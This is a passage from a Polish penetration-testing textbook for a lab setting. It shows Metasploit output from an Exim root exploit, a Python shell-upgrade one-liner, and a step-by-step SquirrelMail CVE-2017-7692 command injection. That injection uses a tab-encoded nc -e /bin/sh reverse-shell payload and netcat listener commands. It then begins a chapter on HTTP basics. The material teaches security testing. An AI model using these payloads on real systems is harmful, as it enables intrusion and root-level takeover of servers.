[*] 192.168.48.102:25 - RCPT: 250 Accepted
[*] 192.168.48.102:25 - DATA: 354 Enter message, ending with "." on aline by itself
[*] 192.168.48.102:25 - Constructing initial headers ...
[*] 192.168.48.102:25 - Constructing HeaderX ...
[*] 192.168.48.102:25 - Constructing body ...
[*] 192.168.48.102:25 - Sending 50 megabytes of data...
[*] 192.168.48.102:25 - Ending first message.
[*] 192.168.48.102:25 - Result: "552 Message size exceeds maximum permitted\r\n"
[*] 192.168.48.102:25 - Sending second message ...
[*] 192.168.48.102:25 - MAIL result: "/bin/sh: 0: can't access tty; job control turned off\n"
[*] 192.168.48.102:25 - RCPT result: "$ "
[*] 192.168.48.102:25 - Looking for Perl to facilitate escalation...
[*] 192.168.48.102:25 - Perl binary detected, attempt to escalate...
[*] 192.168.48.102:25 - Using Perl interpreter at /usr/bin/perl...
[*] 192.168.48.102:25 - Creating temporary files /var/tmp/ihJnMosD and /var/tmp/JUVNYHZk...
[*] 192.168.48.102:25 - Attempting to execute payload as root...
[*] Command shell session 1 opened (192.168.48.100:443 ->
192.168.48.102:40060) at 2019-01-29 15:17:25 +0000

Nie ma tutaj znaku zachęty, ale i tak można wprowadzać polecenia. Mamy do dyspozycji po-
włokę zdalnego komputera (wirtualnego serwera pocztowego), a zatem wszystko, co wpiszemy tu-
taj, zostanie przesłane do serwera, a każde poprawne polecenie zostanie na nim wykonane. Na po-
czątek dobrze jest skorzystać z polecenia id. Nasz exploit powinien od razu dać Ci dostęp do konta
użytkownika root (a to nie zawsze jest proste), a poleceniem id możemy potwierdzić, że mamy taki
właśnie poziom dostępu.
uid=0(root) gid=0(root) groups=0(root)

Następnie można spróbować polecenia uname -a, które poda nam informacje na temat systemu,
takie jak numer wersji kernela oraz systemu operacyjnego:
Linux mailserver01 3.16.0-4-586 #1 Debian 3.16.43-2 (2017-04-30) i686 GNU/Linux

Mamy zatem na tym komputerze uprawnienia użytkownika root i możemy robić w systemie,
co tylko zechcemy. Jest tu jednak mały problem. Mamy co prawda wielkie uprawnienia, ale nie
mamy powłoki z odpowiednim znakiem zachęty. Spróbuj trochę powędrować po systemie plików,
badając jego zawartość. Bez właściwie działającej powłoki jest to strasznie frustrujące. Zademon-
strowana właśnie technika używania exploitów została wymyślona przez Joshuę Drake’a, a działa
w połączeniu z dwoma podatnościami, udostępniając atakującemu zdalną powłokę w systemie. Jest
ona doskonałym przykładem klasycznych exploitów dających zdalny dostęp i pokazuje sposób
przygotowywania skutecznego kodu exploitów.

Poprawianie powłoki
Aby ułatwić sobie życie, możemy zrobić coś, co często nazywane jest poprawianiem powłoki. Nie
jest to pojęcie techniczne, ale dobrze opisuje, co będziemy robić. Jak się zaraz przekonasz, wiele
exploitów nie daje atakującemu od razu dostępu do konta użytkownika root, tak jak zrobił to nasz

3681988c430c7fe1e8567c4e2f281f7b
3
204 Rozdział 6  Poczta elektroniczna

wcześniejszy exploit. W takiej sytuacji poprawienie powłoki staje się niezbędnym krokiem, aby
mieć możliwość uruchamiania kolejnych exploitów na zdalnym systemie. Istnieje wiele metod
poprawienia powłoki, a jedną z ciekawszych jest zastosowanie jednowierszowego polecenia
języka Python:
python -c "import pty; pty.spawn('/bin/bash')"

Powyżej widzisz cały program w języku Python, który najpierw importuje moduł pty (z biblio-
teki Pythona), a następnie uruchamia funkcję spawn. Parametr podawany tej funkcji to ciąg znaków
/bin/bash, który jest pełną ścieżką do interpretera powłoki bash dostępnej w większości systemów
uniksowych. Wszystkie te operacje są wykonywane na atakowanej maszynie. Zakładamy, że jest na
niej zainstalowany interpreter języka Python razem z modułem pty, a powłoka bash znajduje się
w katalogu /bin.

Framework Metaspoit udostępnia polecenie umożliwiające zarządzanie

payloadem, który został uruchomiony na zdalnym hoście. Aby wypisać wszystkie dostępne
sesje oraz zarządzać nimi, możesz skorzystać z polecenia sessions. Umożliwia ono zamknię-
cie dowolnej sesji, ale i jej kontrolowanie. Bardzo przydatne jest polecenie sessions -u,
które umożliwia podniesienie uprawnień terminala do poziomu, jaki uzyskał nasz exploit
dla programu Exim. Takie podniesienie realizowane jest na zasadzie podobnej do przedsta-
wionej w naszym przykładzie z językiem Python.
Po uruchomieniu programu na ekranie powinien pojawić się następujący znak zachęty:
root@mailserver01:/var/spool/exim4

Teraz masz już interaktywne środowisko terminala i możesz w łatwy sposób przemieszczać się
w systemie plików! Po dotarciu do tego miejsca (o ile pracujesz dla swojego klienta) możesz ostroż-
nie przejść do kolejnej fazy testowania, tak zwanej fazy post-exploitowej. W tym kroku zwykle przej-
mowane są pliki passwd i shadow, a potem można sprawdzać, czy w przejętym systemie nie znaj-
dują się jakieś ważne lub wrażliwe informacje, które raczej nie powinny wpaść w ręce złośliwego
hakera. Jeżeli w raporcie uda się odpowiednio opisać powagę tej sytuacji, to na pewno zwiększy
jego wagę. Po wykryciu tak poważnych niedociągnięć, które umożliwiają uzyskanie uprawnień
użytkownika root jedynie poprzez uruchomienie skryptu (co przecież nie jest szczególnie trudne),
należy bezzwłocznie poinformować o tym klienta. Rozmawiając o tym z klientem, dobrze jest
mieć już sugestię, jak należy rozwiązać ten problem, na przykład przez aktualizację oprogramo-
wania lub tymczasowe wyłączenie go do czasu zastosowania poprawek. Ten rodzaj problemu
zwykle oznaczany jest jako krytyczny i wymaga zastosowania natychmiastowych działań w celu
jego rozwiązania.
Szóstego czerwca 2019 roku w programie Exim4 wykryto nową podatność (CVE-2019-10149).
Ten błąd umożliwia zdalne wykonywanie poleceń oraz lokalne podniesienie uprawnień, czyli daje
podobne możliwości jak błąd, który przed chwilą wykorzystywaliśmy. Od dawna Exim był dobrym
źródłem podatności umożliwiających dostęp do hostów linuksowych i jak widać, ten trend praw-
dopodobnie będzie się utrzymywał.

3681988c430c7fe1e8567c4e2f281f7b
3
Wykorzystanie błędu CVE-2017-7692 205

Wykorzystanie błędu CVE-2017-7692

Ta podatność dotyczy napisanego w języku PHP klienta webmail o nazwie SquirrelMail. Spróbu-
jemy wykorzystać ten błąd w sytuacji, gdy agentem MTA jest program Exim. Ten konkretny exploit
nie jest już tak łatwy w użyciu jak wszystkie poprzednio prezentowane. Możesz uznać, że teraz
przejdziemy do bardziej zaawansowanego ćwiczenia, do którego można wrócić po przeczytaniu
kolejnych rozdziałów. Część wyjaśnień, jakie się tu znajdą, będzie czytelniejsza po lekturze dwóch
rozdziałów związanych z siecią WWW: rozdziału 7. „Sieć WWW pełna podatności” oraz roz-
działu 12. „Aplikacje sieciowe”. Mimo to zdecydowaliśmy się umieścić tutaj opis tego błędu, po-
nieważ demonstrujemy w nim koncepcję wstrzykiwania poleceń, wykorzystując do tego funkcję
mail() z języka PHP.
Skorzystamy teraz z narzędzia wstawiającego się w środek kanału komunikacyjnego (ang. man
in the middle), takiego jak bezpłatny wariant Burp Suite, a dla osób lubiących pracę w wierszu
poleceń — noszący świetnie pasującą nazwę Mitmproxy (man in the middle proxy). Oba te narzę-
dzia są dołączane do systemu Kali Linux. Burp Suite zostanie dokładniej opisane w rozdziale 7.,
gdzie stanie się naszym podstawowym narzędziem do przechwytywania i analizowania żądań
HTTP. Program udostępnia miły dla oka interfejs graficzny obsługujący wiele typowych zadań wy-
konywanych w sieci WWW, dlatego jest tak chętnie używany przez wielu ekspertów bezpieczeń-
stwa aplikacji WWW.
Aby wykorzystać podatność CVE-2017-7692, trzeba się najpierw zalogować do aplikacji siecio-
wej SquirrelMail (dane uwierzytelniające kont użytkowników uzyskaliśmy już wcześniej, używając
innych metod) i przejść na stronę informacji osobistych dostępną wśród innych opcji. Tutaj należy
zmienić adres e-mail użytkownika na a@a.com, upewniając się uprzednio, że w programie Burp
Suite włączona jest funkcja Intercept. Po kliknięciu przycisku Wyślij (ang. Submit) Burp Suite prze-
chwyci żądanie wysłane przez przeglądarkę.
W programie Burp Suite na karcie Intercept w przechwyconym żądaniu POST zmień parametr
new_email_address, nadając mu poniższą wartość:
new_email_address=a%40localhost%09-be%09${run{"/bin/nc%09-e%09/bin/sh%09192.168.56.100%0980"}}%09

W tym miejscu stosujemy metodę nazywaną atakiem wstrzykiwania polecenia (ang. command
injection attack). W tym przypadku wstrzykiwane jest następujące polecenie:
{run{"/bin/nc%09-e%09/bin/sh%09192.168.48.100%0980"}}

Taki zapis może być nieco mylący, ponieważ w tym zapisie stosowane jest kodowania adresów
URL. Zgodnie z tym kodowaniem znaki %09 oznaczają tabulację (znak ASCII odpowiedzialny za
tabulację poziomą musi zostać zapisany w ten sposób, bo tylko tak można go poprawnie przesłać
protokołem HTTP). Najważniejsze jest jednak to, że to polecenie zostanie wykonane, czyli uru-
chomi program Netcat (nc), podając mu opcję -e, za którą znajduje się kolejne polecenie, jakie
powinno zostać odesłane do komputera docelowego poprzez połączenie TCP. Tym poleceniem jest
/bin/sh, czyli wywołanie kolejnego interpretera powłoki podobnego do używanego wcześniej bash.
Podany tu adres IP powinien być adresem maszyny wirtualnej Kali Linux, ponieważ chcemy, żeby
program Netcat odesłał powłokę ze zdalnego hosta do naszego lokalnego systemu Kali Linux,
z którego przeprowadzamy atak. W naszym przykładzie używamy adresu IP 192.168.48.100 ,

3681988c430c7fe1e8567c4e2f281f7b
3
206 Rozdział 6  Poczta elektroniczna

ale powinien on zostać dostosowany do konkretnej konfiguracji. Jeżeli zapiszemy ciąg znaków
wstrzykiwanego polecenia po usunięciu sekwencji %09, to całość będzie znacznie łatwiejsza
do odczytania.
{run{"/bin/nc -e /bin/sh 192.168.48.100 80"}}

Ta technika wstrzykiwania poleceń działa tylko dlatego, że w języku PHP w API obsługi poczty
znajduje się mały błąd. Przed uruchomieniem poleceń w funkcji mail() języka PHP system spraw-
dza, czy w podanym tekście znajdują się znaki białe. Jeżeli atakujący spróbuje zastosować spacje, to
cały atak się nie powiedzie. Okazuje się jednak, że można oszukać funkcję, stosując znaki tabulacji
zamiast spacji. Każde wstrzykiwane polecenie musi zostać dopasowane do funkcji mail() języka
PHP używanej przez agenta MTA. W sieci można znaleźć różne warianty tego samego exploitu
dopasowane do różnych agentów MTA.
Przed wysłaniem żądania do serwera musisz się upewnić, że w maszynie wirtualnej Kali Linux
program Netcat nasłuchuje połączeń przychodzących. W naszym przykładzie w ciągu znaków
wstrzykiwanego polecenia podaliśmy port TCP 80. Program Netcat jest sieciowym odpowiedni-
kiem szwajcarskiego scyzoryka. Może działać zarówno w trybie klienta, jak i w trybie serwera. Teraz
zaprezentujemy podstawy używania tego programu, a bardziej zaawansowanych funkcji użyjemy
w kolejnych rozdziałach. Najpierw w maszynie wirtualnej Kali Linux trzeba nakazać programowi
nasłuchiwanie przychodzących połączeń, używając do tego poniższego polecenia:
nc -v -l -p 1337

listening on [any] 1337 ...

Bardzo ważne jest tutaj użycie opcji -v, ponieważ bez niej nie zobaczymy żadnych informacji
o statucie połączenia. Otwórz teraz drugie okno terminala i połącz się z nasłuchującym programem
Netcat. Uruchom też proces /bin/sh.
nc -e /bin/sh 127.0.0.1 1337
localhost [127.0.0.1] 1337 (?) open

Jeżeli teraz wrócisz do pierwszego polecenia Netcat, to zobaczysz, że pojawiło się połączenie od
klienta, a Ty masz możliwość wysyłania poleceń do procesu /bin/sh działającego w tym kliencie.
listening on [any] 1337 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 40008
id
uid=0(root) gid=0(root) groups=0(root)

Właśnie wykazaliśmy, jak bardzo elastyczny jest program Netcat, który w tym przypadku
umożliwił nam utworzenie zwrotnej powłoki (ang. reverse shell) w maszynie wirtualnej Kali Linux.
Dokładnie tej samej sztuczki będziemy próbować w naszym exploicie dla programu Squirrel Mail.
Chcemy, żeby podatne oprogramowanie połączyło się z naszym nasłuchującym serwerem Netcat,
co pozwoli nam wysyłać kolejne polecenia do zdalnego komputera. To właśnie najczęstsze zasto-
sowanie programu Netcat — tunelowanie między komputerami różnych aplikacji, wyjść danych
lub plików.

3681988c430c7fe1e8567c4e2f281f7b
3
Podsumowanie 207

Wstrzyknięcie polecenia w programie Squirrel Mail zostanie wykonane dopiero po wywołaniu

metody mail() języka PHP, a to nastąpi w momencie, gdy wyślemy jakiegoś e-maila z konta użyt-
kownika. W ten sposób sekwencja znaków z tabulacjami zostanie przekazana przez język PHP do
wiersza poleceń agenta MTA. W tym momencie powinniśmy zobaczyć, że w programie Netcat
działającym w maszynie wirtualnej Kali Linux pojawiło się nowe połączenie na porcie 80. Oczywi-
ście pod warunkiem, że wcześniej uruchomimy Netcat w trybie nasłuchiwania na porcie 80. Można
to zrobić za pomocą poniższego polecenia:
nc -v -l -p 80

Jak już wspominaliśmy na początku tego podrozdziału, podajemy tu przykład bardziej zaawan-
sowanego exploitu, który trzeba wykonywać ręcznie. To coś, co może powodować rozczarowania,
jeżeli po wielu wykonanych próbach nie udaje się zrealizować celu. Ale bez obaw. Do tego ćwicze-
nia możesz wrócić później, gdy poznasz kolejne koncepcje wyjaśniane w następnych rozdziałach.
W pracy hakera normalne jest to, że trzeba dość często porzucić różne porty lub usługi i zająć się
innymi, aby potem wrócić do nich, gdy uda się uzyskać więcej informacji na ich temat.

Podsumowanie
W tym rozdziale poznaliśmy podstawowe informacje dotyczące protokołów umożliwiających dzia-
łanie poczty elektronicznej. Dowiedzieliśmy się, że każdy z tych protokołów ma swoje wady.
Na przykład protokół SMTP powstał w czasach, gdy można było ufać wszystkim użytkownikom
sieci (wtedy nie istniał jeszcze internet), ale jest używany do dzisiaj, choć w międzyczasie został
rozbudowany o wiele nowych funkcji. Dawniej otwarte serwery przekazujące były niezbędne do
przesyłania e-maili pomiędzy różnymi sieciami, ale dzisiaj są używane niezgodnie z przeznacze-
niem przez spamerów, i w związku z tym praktycznie się ich nie spotyka.
Widzieliśmy, ile informacji można uzyskać z nagłówków dodawanych do e-maili, nawet tych,
które nie dotarły do swojego odbiorcy. Przeskanowaliśmy serwer pocztowy i w ten sposób dowie-
dzieliśmy się, że działa na nim wiele różnych usług pocztowych, które zajmują się obsługą łańcucha
przekazywania poczty. Ponownie użyliśmy tutaj programu Nmap, poznając jego kolejne funkcje.
Z pewnością zaczynasz już dostrzegać potencjał drzemiący w takich narzędziach.
Oprogramowanie pocztowe, tak jak każdy inny rodzaj oprogramowania, ma różne wbudowane
błędy, ponieważ zostało napisane przez ludzi korzystających z różnych języków programowania
(a te też zostały napisane przez ludzi). Takie programy korzystają z technologii zaprojektowanych
w czasach, gdy nie trzeba było martwić się bezpieczeństwem. Czasami w programach znajdują się
drobne błędy, do poprawienia których wystarczy zmienić tylko kilka wierszy kodu. Przykładem
takiego błędu jest Heartbleed.
Siłowo uzyskaliśmy dostęp do kont użytkowników, wykorzystując do tego usługę POP3, która
nie blokuje tych kont po zbyt wielu nieudanych próbach wprowadzenia hasła. Już tylko z tego po-
wodu te usługi powinny zostać wycofane na rzecz nowocześniejszego protokołu IMAP. Poza tym
dowiedzieliśmy się, że na badanym serwerze działa wersja programu Exim, która znana jest z pew-
nych podatności. Znaleźliśmy zatem pasujący exploit, który umożliwił nam przejęcie serwera i uzy-
skanie w nim uprawnień użytkownika root.

3681988c430c7fe1e8567c4e2f281f7b
3
208 Rozdział 6  Poczta elektroniczna

W tym rozdziale omówiliśmy też pokrótce sprawy związane z szyfrowaniem, omawiając proto-
koły SSL/TLS i związane z nimi problemy. W tym miejscu tylko powierzchownie zajęliśmy się tym
tematem, dlatego w dalszej części książki będziemy do niego powracać. Nawet dzisiaj wielu użyt-
kowników poczty uważa, że jest to bezpieczna usługa. I owszem, ogromna część usług pocztowych
jest szyfrowana przez ich dostawców, takich jak Microsoft, Fastmail lub Google, ale nie jest to szy-
frowanie typu end-to-end, czyli od użytkownika do użytkownika. To znaczy, że w systemie jest
wiele miejsc umożliwiających złośliwym hakerom dostęp do wiadomości. Funkcje PGP (Pretty
Good Privacy) umożliwiają użytkownikom szyfrowanie wiadomości w momencie ich wysyłania,
dzięki czemu jedynie osoba posiadająca klucz prywatny odbiorcy (powinien to być wyłącznie
odbiorca wiadomości) jest w stanie je odczytać. To rozwiązanie powinno być stosowane przez
każdą osobę i firmę, która musi wysyłać wiadomości o poufnej zawartości. Z pewnością firmy wy-
syłają wiele takich wiadomości, jeżeli mielibyśmy poważnie traktować ich stopki o treści podobnej
do poniższej:
Ten e-mail i dołączone do niego pliki są poufne i przeznaczone wyłącznie dla osoby lub orga-
nizacji, do której zostały wysłane. Jeżeli otrzymujesz tę wiadomość w wyniku pomyłki, poin-
formuj administratora systemu. Ta wiadomość zawiera poufne informacje przeznaczone wy-
łącznie dla adresata podanego w nagłówku. Jeżeli nie jesteś adresatem tej wiadomości, nie
możesz jej rozpowszechniać, kopiować ani rozsyłać. Jak najszybciej poinformuj nadawcę wia-
domości o jej omyłkowym otrzymaniu i natychmiast usuń ją ze swojego systemu. Jeżeli nie
jesteś adresatem tej wiadomości, wiedz, że rozpowszechnianie, kopiowanie lub wykonywanie
innych działań na podstawie jej treści jest całkowicie zakazane.
Jak można sobie wyobrazić, kryminaliści za nic sobie mają takie ostrzeżenia. Z kolei zadaniem
etycznego hakera jest edukowanie innych użytkowników sieci i świecenie im przykładem.

3681988c430c7fe1e8567c4e2f281f7b
3
 Rozdział

7
Sieć WWW pełna podatności

W tym rozdziale skupimy się na infrastrukturze ataków wymierzonych w serwery WWW. Przyj-
rzymy się technologii, na której zbudowane są aplikacje WWW, przeanalizujemy protokoły sieci
WWW, obsługujące ją oprogramowanie oraz technologie działające po stronie serwerów. Dowiesz
się, jak można uzyskać dostęp do bazowego systemu operacyjnego serwera, wykorzystując do tego
luki w technologiach sieciowych. Na zakończenie wykorzystamy luki w jądrze Linuksa, aby uzyskać
dostęp z uprawnieniami użytkownika root do laboratorium przygotowanego na potrzeby tej książki.
Być może wiesz już o istnieniu tak popularnych serwerów WWW jak Apache, Nginx lub
Microsoft IIS (Internet Information Services). Przyjrzymy się tu dokładniej protokołowi HTTP
(Hypertext Transfer Protocol) oraz jego zabezpieczonej wersji (HTTPS). Następnie zajmiemy się
serwletami Javy, czyli kontenerami przechowującymi aplikacje WWW napisane w języku Java
(te są często używane przez aplikacje bankowe). Będziemy używać narzędzi zaprojektowanych
do wyszukiwania słabości w infrastrukturze sieci WWW oraz w starszych technologiach, takich jak
CGI (Common Gateway Interface). Zaprezentujemy również rozmaite inne problemy związane
z usługami podatnymi na ataki Heartbleed. Na podobnej zasadzie przeanalizujemy błąd Shellshock,
który jest równie powszechną podatnością systemów.
Po przebrnięciu przez zbiór portów typowo używanych przez serwery WWW przyjrzymy się
jednej z metod podniesienia swoich uprawnień na przejętym serwerze. W tym rozdziale będziemy
przyglądać się niemal każdej technologii z wyjątkiem samej aplikacji sieciowej, która zwykle jest
dostępna na porcie 80 lub 443.
Przebadamy tutaj niektóre typowe aplikacje WWW, takie jak panele administracyjne, które są
używane do zarządzania serwerem. Będziemy je traktować jak elementy niezależne od samych apli-
kacji WWW, które zwykle przeznaczone są dla szerokiego grona użytkowników. Przekonasz się,
że w rzeczywistości nie ma wielkiej różnicy między hakowaniem serwera WWW a hakowaniem
aplikacji sieciowej.

209

3681988c430c7fe1e8567c4e2f281f7b
3
210 Rozdział 7  Sieć WWW pełna podatności

Podczas wykonywania oceny aplikacji WWW na zlecenie klienta początkowo wykorzystuje się
techniki, które będziemy opisywać w tym rozdziale. Po wyczerpaniu tematów związanych z infra-
strukturą bezpieczeństwa serwera WWW można skupić się na testowaniu samej aplikacji (jeden
serwer może hostować wiele różnych aplikacji). Już wcześniej widzieliśmy, jak mogą wyglądać na-
leżące do klienta serwery nazw lub serwery pocztowe. Teraz zajmiemy się typowymi serwerami
WWW, czyli kolejną technologią powszechnie wykorzystywaną przez dzisiejsze firmy. Spraw-
dzimy zatem, jak działają na nich serwisy, określimy rodzaj systemu operacyjnego oraz wydobę-
dziemy informacje o serwerze WWW. Na początek musimy się jednak upewnić, że dobrze rozu-
miesz podstawy technologii używanych w takich serwerach.

Sieć WWW
Niektórzy ludzie traktują sieć WWW tak, jakby to ona była internetem. Trzeba jednak zaznaczyć,
że są to twory odrębne. Sieć WWW jest dzieckiem Tima Bernersa-Lee i została początkowo zapro-
jektowana jako sposób udostępniania prostych informacji (tekstu i obrazów) w postaci stron. Takie
strony miały być przesyłane między komputerami za pomocą protokołu HTTP (Hypertext Transfer
Protocol — protokół przesyłu hipertekstu). Na potrzeby definiowania zawartości poszczególnych
stron zaprojektowano język HTML (HyperText Markup Language — język znaczników hipertekstu).
Od momentu powstania sieci WWW jej możliwości są cały czas rozbudowywane i rozszerzane.
Podobnie jak to było z protokołem DNS oraz protokołami pocztowymi, protokół HTTP również
został zaprojektowany do wypełniania określonych zadań w danym czasie. Wtedy strony WWW
były całkowicie statyczne. Innymi słowy, serwery przekazywały niezmienną treść wszystkim użyt-
kownikom odwiedzającym daną stronę. Ta pierwotna wersja sieci WWW jest czasami nazywana
siecią WWW 1.0. Wyglądała ona zupełnie inaczej niż dzisiejsze witryny mediów społecznościowych,
blogów oraz aplikacji finansowych, które powszechnie nazywane są siecią WWW 2.0. Już dzisiaj
entuzjaści technologii blockchain zaczynają głośno mówić o sieci WWW 3.0.
Jak widać, sprawy się poważnie skomplikowały, a dzisiejsze serwery muszą obsługiwać wielu
różnych użytkowników, uwierzytelniać ich i śledzić ich poczynania w aplikacji. Treści nie są przy-
gotowywane wyłącznie przez właściciela witryny, ale coraz częściej powstają w wyniku pracy wy-
konywanej przez jej użytkowników.
Pierwotne protokoły sieci WWW są aktualnie używane do celów dalece wykraczających poza
ich początkową specyfikację, co prowadzi do powstania wielu luk w bezpieczeństwie. Z pewnością
każdy słyszał już dywagacje o sieci WWW 3.0, która ma wykorzystywać technologię blockchain,
czyli podstawową strukturę danych używaną w kryptowalutach, takich jak bitcoin (bitcoin.org).
W skrócie technologia blockchain jest prostą listą zapisów (na przykład transakcji finansowych)
połączonych ze sobą za pomocą rozwiązań kryptograficznych. Niezależnie od tego, jakie nowe tech-
nologie lub możliwości pojawią się w przyszłej sieci WWW, dobra znajomość podstaw jej działania
da Ci solidną bazę do wyszukiwania nowych podatności, niezależnie od stosowanego żargonu.

3681988c430c7fe1e8567c4e2f281f7b
3
Protokół HTTP 211

Protokół HTTP
Zazwyczaj serwery WWW nasłuchują na portach 80 i 443, czekając na przychodzące żądania
HTTP lub HTTS. Nie są to jednak jedyne otwarte porty na tych serwerach. Co ważne, obsługa
protokołu HTTP może się odbywać na niemal każdym porcie, dlatego nigdy nie należy pomijać tej
możliwości. Wersja 1.1 protokołu HTTP została zdefiniowana w dokumencie RFC 2616, ale póź-
niej powstały kolejne wersje — HTTP/2 opisana w dokumencie RFC 7540 oraz HTTP/3, która nie
ma jeszcze swojego dokumentu RFC. W naszych rozważaniach będziemy odnosić się do wersji 1.1,
ponieważ nowsze wersje nie spowodowały jej przedawnienia, w związku z czym nadal jest w po-
wszechnym użyciu. Co więcej, wersja 1.1 jest używana od 1997 roku, a nowsze wersje protokołu
nadal nie są w pełni obsługiwane przez wiele serwerów WWW.
Protokół HTTP definiuje metody, za pomocą których dokumenty HTML mogą być przesyłane
między komputerami. Nie należy jednak mylić dokumentów HTML z faktycznym kodem HTML
zapisanym w tych dokumentach. Dzisiaj protokół HTTP używany jest też do przesyłania najróż-
niejszych innych plików i nie ogranicza się wyłącznie do dokumentów HTML. Protokół HTTP
służy dzisiaj do przesyłania na przykład plików programów działających po stronie klienta i napi-
sanych w języku JavaScript, jak również plików XML (Extensible Markup Language), obrazów,
dźwiękowych, filmowych oraz innych programów.
Najpowszechniej używaną wersją języka HTML jest wersja 5, która definiuje funkcje umożli-
wiające wyświetlanie najróżniejszych rodzajów treści. Sieć WWW dawniej składała się wyłącznie
z tekstu i nielicznych obrazków, a dzisiaj dostępne są w niej materiały wideo, gry, złożone aplikacje
wymagające do działania współpracującej części serwerowej i klienckiej. Można też spotkać się z ta-
kimi technologiami jak AJAX (Asynchronous JavaScript and XML), która wykorzystuje kod po stronie
klienta do wysłania żądań do serwera WWW często w sposób całkowicie niezauważalny dla użyt-
kownika. Ta technologia umożliwia aktualizowanie treści na stronie w czasie rzeczywistym w reakcji
na działania użytkownika w ramach aplikacji WWW bez konieczności odświeżania całej strony.
Co ciekawe, format XML nie jest głównym nośnikiem danych przesyłanych i odbieranych za pomocą
technologii Ajax. Częściej stosuje się prosty tekst albo specjalny format danych nazywany JSON
(JavaScript Object Notation), który zapisuje dane w sposób czytelny zarówno dla ludzi, jak i kompu-
terów. To poważna zmiana, ponieważ początkowo dostępna w przeglądarce funkcja XMLHttpRequest
korzystała z formatu XML do aktualizowania części wyświetlanej strony. Ogólnie jednak ta tech-
nologia umożliwia aktualizowanie strony WWW bez zmuszania użytkownika do klikania przyci-
sku Odśwież i bez używania słowa kluczowego refresh w znacznikach meta języka HTML.
Aby skorzystać z zasobów sieci WWW, przeglądarka (czyli klient) zazwyczaj musi wysłać żą-
danie GET, na które serwer powinien odesłać odpowiedź zawierającą kod 200 OK, kilka nagłówków
HTTP oraz treść wiadomości.

Witryny WWW zazwyczaj przekierowują niezabezpieczone żądania (przy-

słane protokołem HTTP) na port TCP 443, używając do tego kilku różnych odpowiedzi
przekierowujących, których kody zaczynają się od cyfry 3. Kody 301 („Moved Permanently”
— trwale przeniesione) i 302 („Found” — znaleziono) są zwykle stosowane, aby zmusić
przeglądarkę użytkownika do skorzystania z adresu URL przy użyciu protokołu HTTPS za-
miast HTTP. W takiej sytuacji przeglądarka wysyła kolejne żądanie z poprawionym adresem
URL i otrzymuje odpowiedź 200.

3681988c430c7fe1e8567c4e2f281f7b
3
212 Rozdział 7  Sieć WWW pełna podatności

Treść wiadomości składa się z żądanego dokumentu, na przykład strony WWW zapisanej
w języku HTML. Typowe żądanie HTTP wygląda następująco:
GET /src/login.php HTTP/1.1
Host: 192.168.48.101
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Z kolei podstawowa odpowiedź HTTP może wyglądać tak:

HTTP/1.1 200 OK
Server: nginx/1.4.0
Date: Wed, 20 Feb 2019 10:49:42 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: close
Set-Cookie: SQMSESSID=7nbmfcgfsroqmrd1199uu4kui2; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, precheck=
0
Set-Cookie: SQMSESSID=7nbmfcgfsroqmrd1199uu4kui2; path=/; HttpOnly
Pragma: no-cache
Content-Length: 2287

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<meta name="robots" content="noindex,nofollow">
<title>HackerHouse - Login</title
</head>
<body>
<form action="redirect.php" method="post" name="login_form">
<input type="text" name="login_username" value="" onfocus="alreadyFocuse
d=true;"/>
<input type="password" name="secretkey" onfocus="alreadyFocused=true;"/>
</form>
</body>
</html>

Te przykłady zostały zaczerpnięte z wirtualnego serwera pocztowego, którego używaliśmy

w poprzednim rozdziale (spora część kodu HTML została tutaj usunięta). Już tutaj można dostrzec
pewne problemy, jeszcze zanim zacznie się dodawać kolejne funkcje do strony serwera pocztowego
(i zwiększać jej skomplikowanie). Żądania i odpowiedzi HTTP składają się z nagłówka oraz treści.
W nagłówkach często znajduje się wiele przydatnych informacji (widzieliśmy już to w przypadku
wiadomości e-mail). Na przykład podawany jest tu typ oprogramowania używanego przez serwer.
Jeżeli przyjrzysz się dokładniej powyższej odpowiedzi, to zobaczysz następujący nagłówek:
Server: nginx/1.4.0

Najprawdopodobniej ten serwer używa programu Nginx w wersji 1.4.0, a my możemy od razu
wykorzystać tę informację, żeby sprawdzić, czy nie jest to przestarzała wersja i czy istnieją w niej
jakieś podatności. Wielu ostrożnych administratorów serwerów WWW dopilnowuje, żeby ich

3681988c430c7fe1e8567c4e2f281f7b
3
Protokół HTTP 213

serwery nie ujawniały w ten sposób informacji o sobie. Niestety część programistów lubi dodawać
w swoich aplikacjach własne nagłówki, które mogą ujawniać znacznie ważniejsze informacje.
Oczywiście ważna jest też treść dokumentu. Na razie skupmy się jednak na protokole HTTP, od-
stawiając na bok przesyłane treści, takie jak strony HTML.

Metody i czasowniki HTTP

Proste żądanie GET jest używane zawsze wtedy, gdy po prostu przeglądamy zawartość witryny
WWW. Istnieje jednak więcej czasowników opisujących rodzaje żądań, których można użyć w pro-
tokole http. Przykładem może być żądanie OPTIONS. Za pomocą tego żądania można się dowiedzieć,
jakie inne rodzaje żądań obsługuje dany serwer WWW. Dobrze skonfigurowany serwer umożliwia
korzystanie wyłącznie z podstawowych rodzajów żądań, ale część serwerów pozwala na wykonanie
znacznie szerszego zbioru operacji. Narzędzia skanujące, takie jak Nmap, mogą przeprowadzić dla
nas odpowiednią kontrolę serwera i ustalić, które żądania będą przez niego przyjmowane. Oczywi-
ście taką kontrolę można też wykonać ręcznie. Teraz jednak przyjrzymy się metodom HTTP
(nazywane są one też czasownikami), które wypisaliśmy poniżej:
GET — żądanie przesłania wskazanego zasobu (na przykład strony HTML).
HEAD — żądanie przesłania nagłówków wskazanego zasobu lub strony.
POST — przesyła dane do serwera (na przykład dane logowania).
PUT — przesyła plik na wybrany adres URL.
DELETE — usuwa wskazany zasób na serwerze.
TRACE — serwer odsyła zawartość otrzymanego żądania (używane do debugowania).
OPTIONS — zwraca listę obsługiwanych metod dla danego adresu URL.
CONNECT — prosi serwer o podanie dalej połączenia TCP.
PATCH — modyfikuje część strony lub zasobu.
Typowy produkcyjny serwer WWW należący do naszego klienta powinien obsługiwać wyłącz-
nie metody GET i POST (ewentualnie również metodę HEAD, która zachowuje się niemalże tak samo
